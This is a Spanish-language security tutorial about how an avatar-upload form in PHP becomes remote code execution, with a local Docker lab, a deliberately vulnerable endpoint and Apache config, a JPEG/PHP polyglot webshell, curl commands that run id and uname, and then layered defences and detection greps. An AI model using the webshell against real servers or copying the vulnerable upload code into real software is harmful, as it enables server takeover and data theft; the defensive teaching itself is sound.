🚨 ¡Nueva review! ¡Mi teclado ideal! ⌨️ Perfecto para programar, el Logitech MX Keys S . ¡Échale un ojo! 👀

Cómo una foto de perfil se convierte en una shell remota

Un formulario para subir el avatar, dos validaciones que parecen sólidas, y aun así un atacante acaba ejecutando comandos en el servidor.

Escrito por domin el 4 de julio de 2026

Una foto que ejecuta comandos

Imagina una funcionalidad tan común en una página web como subir la foto de perfil. Un <input type="file">, el usuario elige su selfie, y el servidor la guarda. Lo hace todo el mundo, está en cualquier aplicación y casi nadie lo mira porque solo son imágenes.

El programador que lo escribió no es un paquetón. Valida dos cosas: que la extensión sea de imagen y que el tipo MIME real (mirando el contenido del archivo, no fiándose del nombre) sea image/jpeg o image/png. Parece suficiente pero no.

En este post te cuento cómo se podría hackear esto, y te monto un laboratorio en local con Docker para que subas el ataque a tu propia máquina, veas la shell remota aparecer y luego la cierres con las defensas correctas. Verlo romperse es la única forma de entender de verdad por qué hay que protegerlo.

Una foto de perfil que esconde una shell remota en un servidor PHP.
Peligro

Todo lo que viene es para tu propia máquina, en local. Montar este laboratorio para aprender a defenderte es legítimo y educativo. Lanzar esto contra un servidor que no es tuyo, sin permiso por escrito, es un delito (en España, artículos 197 bis y 264 del Código Penal). Ojito eh pavo que el objetivo es aprender a tapar el agujero, no a abrirlo en casa ajena.


El código que vamos a romper

Este es el endpoint de subida. Léelo y busca el fallo antes de seguir. Te aviso de que el fallo no está donde la mayoría mira:

<?php
// ⚠️ APP DE DEMO VULNERABLE A PROPÓSITO. NO USAR EN PRODUCCIÓN.

$file = $_FILES['avatar'] ?? null;
if (!$file || $file['error'] !== UPLOAD_ERR_OK) {
    http_response_code(400);
    exit('No se ha recibido ningún archivo.');
}

// "Validación" 1: la extensión. Solo mira la ÚLTIMA extensión del nombre.
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, ['jpg', 'jpeg', 'png'], true)) {
    http_response_code(422);
    exit('Extensión no permitida.');
}

// "Validación" 2: el tipo MIME real con finfo. Solo lee los primeros bytes.
$mime = (new finfo(FILEINFO_MIME_TYPE))->file($file['tmp_name']);
if (!in_array($mime, ['image/jpeg', 'image/png'], true)) {
    http_response_code(422);
    exit('Tipo de archivo no permitido: ' . $mime);
}

// 💥 EL FALLO: guardamos con el nombre que elige el cliente, en una
// carpeta accesible desde la web.
$nombre = basename($file['name']);
move_uploaded_file($file['tmp_name'], __DIR__ . '/uploads/' . $nombre);

echo 'Avatar subido: /uploads/' . htmlspecialchars($nombre);

Las dos validaciones son reales y, por separado, parecen correctas. El problema es que ninguna de las dos impide subir un archivo que PHP pueda ejecutar y encima lo guardamos con el nombre que nos da el cliente en una carpeta pública. Vamos a ver cómo se lía parda.

Nota

Da igual que esto sea PHP plano. El patrón es idéntico en Laravel ($request->validate(['avatar' => 'mimes:jpg,png']) + $file->getClientOriginalName()), en Symfony o donde sea. La regla mimes: valida exactamente esto y se salta exactamente igual.


Monta el laboratorio

Para montarlo necesitas Docker e ya. Crea una carpeta y mete estos cuatro archivos.

Dockerfile: un PHP + Apache con una mala configuración muy común:

FROM php:8.3-apache

# Config INSEGURA a propósito (esto es lo que hace explotable el lab):
# AddHandler asocia .php al intérprete mirando TODAS las extensiones del
# nombre, no solo la última. Por eso "shell.php.jpg" se ejecuta como PHP.
RUN echo "AddHandler application/x-httpd-php .php" > /etc/apache2/conf-enabled/zz-vuln.conf

COPY app/ /var/www/html/
RUN mkdir -p /var/www/html/uploads && chown -R www-data:www-data /var/www/html/uploads

docker-compose.yml:

services:
    web:
        build: .
        # solo localhost: es una webshell vulnerable a propósito, no la expongas a tu red
        ports:
            - '127.0.0.1:8080:80'

app/index.php: el formulario:

<!doctype html>
<html lang="es">
    <head>
        <meta charset="utf-8" />
        <title>Subir avatar</title>
    </head>
    <body>
        <h1>Sube tu avatar</h1>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            <input type="file" name="avatar" accept="image/*" />
            <button type="submit">Subir</button>
        </form>
    </body>
</html>

app/upload.php: exactamente el código vulnerable que hemos visto antes más arriba.

Levanta el lab:

docker compose up -d --build

Y abre http://localhost:8080. Tienes el formulario funcionando. Hasta aquí, una aplicación normal y corriente.

Importante

Esa línea AddHandler application/x-httpd-php .php no me la he inventado para hacer trampa. Es una receta que aparece copiada y pegada en miles de tutoriales y respuestas de foros para «activar PHP». La diferencia con la forma correcta (<FilesMatch \.php$>) parece cosmética, pero es justo la que convierte el bug en algo explotable. Volvemos a ello al final.


El ataque, paso a paso

Paso 1: fabricar el archivo políglota

Un archivo políglota es un archivo que es dos cosas a la vez. Vamos a construir uno que sea JPEG válido por el principio y PHP por el final.

finfo decide que algo es un JPEG mirando sus primeros bytes, sus magic bytes . Si el archivo empieza con la firma de un JPEG, dirá image/jpeg aunque después venga código PHP:

# magic bytes de un JPEG (FF D8 FF E0 ... JFIF) + payload PHP al final
printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01' > shell.php.jpg
printf '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg

Comprobamos qué ve la validación del servidor:

$ file --mime-type shell.php.jpg
shell.php.jpg: image/jpeg

image/jpeg. La segunda validación, la del MIME real, ya está dentro. Y el nombre termina en .jpg, así que la primera validación (la de la extensión) también pasa porque solo mira la última extensión y no ve el .php que va en medio.

Consejo

En un ataque real no usarías estos magic bytes a pelo, sino que añadirías el payload PHP al final de una foto de verdad. El archivo se abre y se ve como una imagen normal (los bytes tras el marcador de fin de un JPEG se ignoran al renderizar), pasa cualquier vista previa, y nadie sospecha. El truco es el mismo.

Paso 2: subirlo

$ curl -F "avatar=@shell.php.jpg" http://localhost:8080/upload.php
Avatar subido: /uploads/shell.php.jpg

Aceptado. Las dos validaciones han dado el visto bueno y el archivo está ya en una carpeta accesible desde el navegador, con el nombre que nosotros elegimos: shell.php.jpg.

Paso 3: ejecutar comandos (RCE)

Aquí entra la mala configuración de Apache. Como AddHandler mira todas las extensiones del nombre, ve el .php que metimos en medio y le pasa el archivo al intérprete de PHP. Resultado: nuestro system($_GET['cmd']) se ejecuta. Esto es RCE , que quiere decir ejecución remota de código:

$ curl "http://localhost:8080/uploads/shell.php.jpg?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8080/uploads/shell.php.jpg?cmd=uname%20-a"
Linux 6f055fc7f832 6.17.0-35-generic #35 SMP x86_64 GNU/Linux
Nota

Cuando lo montes verás un poco de basura binaria pegada delante de cada respuesta (con un JFIF reconocible). Son los magic bytes de la cabecera JPEG, que al ir fuera de las etiquetas <?php ?>, Apache los escupe tal cual antes del resultado del comando. Es ruido inofensivo, el id se ejecuta igual.

Y ya está. A partir de este ?cmd= el atacante tiene una webshell con la que listar archivos, leer la configuración de la base de datos, descargar credenciales, instalar una clave SSH para volver cuando quiera o pivotar al resto de la red interna. Y todo empezó por subir el avatar.

Advertencia

Que la shell corra como www-data (un usuario sin privilegios) no es ningún consuelo. Desde ahí se leen los .env con las claves de la base de datos, se modifican los archivos de la propia aplicación para robar contraseñas de los usuarios reales, y se buscan fallos del sistema para subir a root. La primera ejecución de código es la batalla que de verdad importa.


Por qué ha funcionado: cuatro cagadas una detrás de otra

Ningún fallo por sí solo bastaba. Tuvieron que alinearse los planetas:

🔍 finfo solo mira el principio del fichero

La validación de MIME deduce el tipo a partir de los primeros bytes del archivo. Le pones una firma JPEG delante y se traga cualquier cosa que venga detrás, incluido código PHP.

🏷️ La extensión solo mira el final

Comprobar que el nombre acaba en .jpg no impide que sea shell.php.jpg. La parte peligrosa va en medio, donde la validación ni mira.

✍️ El nombre lo elige el cliente

Guardar el archivo con el nombre que manda el usuario le deja meter un .php donde quiera y elegir la URL exacta desde la que luego invocará su shell.

⚙️ La carpeta ejecuta PHP

Las subidas caen en una carpeta pública donde el servidor está dispuesto a ejecutar PHP. Si esa carpeta solo sirviera archivos estáticos, el políglota sería una imagen inofensiva.

Lo bueno es que para frenar el ataque no hace falta cerrar los cuatro. Con romper uno solo, la cadena se cae. Vamos a por todos, en capas, para hacerlo bien.


Las defensas, en capas

Capa 1: el nombre lo pone el servidor, no el cliente

La defensa más barata y de mayor impacto. Nunca, jamás, guardes un archivo con el nombre que te da el usuario. Genera tú uno aleatorio y deriva la extensión del tipo que tú has detectado, no del nombre original:

$mime = (new finfo(FILEINFO_MIME_TYPE))->file($file['tmp_name']);
$ext = ['image/jpeg' => 'jpg', 'image/png' => 'png'][$mime] ?? null;
if ($ext === null) {
    http_response_code(422);
    exit('Tipo de archivo no permitido.');
}

// Nombre imposible de adivinar y sin rastro del .php
$nombre = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($file['tmp_name'], __DIR__ . '/uploads/' . $nombre);

Sube el mismo políglota a esta versión y el archivo aterriza como d11be2b765c1b72ff4e985395ef926c1.jpg. Pídelo en el navegador y el servidor te devuelve los bytes tal cual, como imagen: el nombre ya no contiene .php, así que ni el peor AddHandler lo manda al intérprete. El <?php ... ?> viaja como texto inerte dentro de un .jpg.

Capa 2: guarda las subidas fuera del directorio público

Si el archivo no es accesible por URL, no hay nada que invocar. Guarda las subidas fuera del webroot (en storage/, un volumen aparte, o directamente en un bucket S3) y sírvelas a través de un script PHP que lea el archivo y lo entregue con el Content-Type correcto. Así controlas quién accede y a qué, y nada de lo subido se ejecuta jamás.

Capa 3: recodifica la imagen y destruye el payload

Las dos capas anteriores ya paran este ataque, pero esta se lo super peta. En lugar de guardar el archivo que llega, ábrelo como imagen y vuelve a generarlo. Al decodificar los píxeles y reescribir el JPEG desde cero, todo lo que no sean datos de imagen se queda fuera: el código PHP del final, los metadatos EXIF con sorpresas, todo:

// Requiere la extensión GD (docker-php-ext-install gd)
$img = imagecreatefromstring(file_get_contents($file['tmp_name']));
if ($img === false) {
    http_response_code(422);
    exit('La imagen no es válida.');
}
$nombre = bin2hex(random_bytes(16)) . '.jpg';
imagejpeg($img, __DIR__ . '/storage/' . $nombre, 85); // recodifica
imagedestroy($img);
Nota

Si usas Laravel, intervention/image hace esto mismo en una línea: Image::read($file)->cover(400, 400)->encodeByExtension('jpg', quality: 85). Decodifica, redimensiona y recodifica, dejando el payload por el camino.

Capa 4: que la carpeta de subidas no ejecute nada

Más defensa por si algo de lo anterior falla. El objetivo es que la carpeta de uploads sea incapaz de ejecutar código pase lo que pase.

En Apache, un .htaccess dentro de la carpeta de subidas:

php_flag engine off
RemoveHandler .php .phtml .phar
<FilesMatch "\.(php|phtml|phar)">
  Require all denied
</FilesMatch>

Con esto, pedir shell.php.jpg devuelve directamente un 403 Forbidden en lugar de ejecutarlo.

En Nginx, niega la ejecución en esa ruta:

location ^~ /uploads/ {
    location ~ \.php$ { deny all; }
}

Y sobre todo, arregla la causa raíz que vimos en el lab. Nunca uses AddHandler para activar PHP, porque mira todas las extensiones del nombre. Usa SetHandler anclado al final con $, que es justo lo que trae la imagen oficial de PHP por defecto:

Configuración correcta (solo ejecuta lo que ACABA en .php)
  • Apache: <FilesMatch "\.php$"> SetHandler application/x-httpd-php </FilesMatch>
  • Nginx: location ~ \.php$ { ... } — con el $ del final
Configuración peligrosa (ejecuta cualquier cosa que CONTENGA .php)
  • Apache: AddHandler application/x-httpd-php .php
  • Nginx: location ~ \.php { ... } — sin el $, matchea shell.php.jpg
Importante

El .htaccess solo sirve si Apache tiene AllowOverride activado para esa carpeta (la imagen oficial php:apache lo trae como AllowOverride All, pero muchos servidores de producción lo desactivan por rendimiento). Si está en None, tu .htaccess se ignora en silencio. No te fíes solo de él: combínalo con las capas 1 y 2, que no dependen de la configuración del servidor.

Capa 5: el resto del cinturón de seguridad

🔒 Permisos restrictivos

Guarda los archivos con chmod 0640: ni ejecutables ni accesibles por otros usuarios del sistema. Un archivo sin bit de ejecución es una piedra más en el zapato del atacante.

🛡️ X-Content-Type-Options: nosniff

Evita que el navegador adivine el tipo de un archivo e interprete como HTML o JS algo que sirves como imagen. Corta los ataques de tipo XSS vía subida.

⏱️ Rate limiting

Limita el número de subidas por usuario y minuto. No para el ataque en sí, pero frena el escaneo automático y los intentos a lo bestia.

🌐 Servir desde otro dominio

Sirve las subidas desde un subdominio sin cookies (tipo uploads-cdn.tu-web.com). Aunque algo se ejecutara, no tendría acceso a las sesiones de tu dominio principal.

Y si piensas que ya te han marcado goles de esta forma, busca archivos ejecutables donde no deberían estar y revisa los logs de acceso en busca de peticiones raras con parámetros tipo ?cmd= o ?c=:

# Archivos PHP escondidos en la carpeta de subidas
find ./uploads -regextype posix-extended -iregex '.*\.(php|phtml|phar)'

# Accesos sospechosos a la carpeta de subidas en los logs
grep -E "/uploads/.*\?(cmd|c|exec|shell)=" /var/log/apache2/access.log

La versión final, ya blindada

Juntando las capas que no dependen del servidor, el endpoint queda así:

<?php
$file = $_FILES['avatar'] ?? null;
if (!$file || $file['error'] !== UPLOAD_ERR_OK) {
    http_response_code(400);
    exit('No se ha recibido ningún archivo.');
}

// 1. El tipo lo decide el servidor mirando el contenido
$mime = (new finfo(FILEINFO_MIME_TYPE))->file($file['tmp_name']);
$ext = ['image/jpeg' => 'jpg', 'image/png' => 'png'][$mime] ?? null;
if ($ext === null) {
    http_response_code(422);
    exit('Tipo de archivo no permitido.');
}

// 2. Recodifica la imagen: destruye cualquier payload o EXIF
$img = imagecreatefromstring(file_get_contents($file['tmp_name']));
if ($img === false) {
    http_response_code(422);
    exit('La imagen no es válida.');
}

// 3. Nombre aleatorio del servidor, fuera del webroot, con permisos mínimos
$nombre = bin2hex(random_bytes(16)) . '.' . $ext;
$destino = __DIR__ . '/../storage/uploads/' . $nombre;
$ext === 'png' ? imagepng($img, $destino) : imagejpeg($img, $destino, 85);
imagedestroy($img);
chmod($destino, 0640);

echo 'Avatar guardado de forma segura.';

Nombre que pone el servidor, contenido recodificado, guardado fuera del directorio público y con permisos restrictivos. El políglota de antes, contra esto, no es más que una imagen rota que ni siquiera llega a guardarse.

Y esa es la moraleja: el ataque no vivía en la validación, por muy sólida que pareciera. Vivía en qué haces con el archivo después.

No dejes el laboratorio levantado, que para algo es vulnerable a propósito:

docker compose down --rmi local

Monta el lab, lánzate el ataque a ti mismo, y luego ve aplicando capas y reintentándolo hasta que el ?cmd=id deje de responder. Esa es la mejor forma de que no se te olvide nunca.

Nos vemos en los bares! 🍻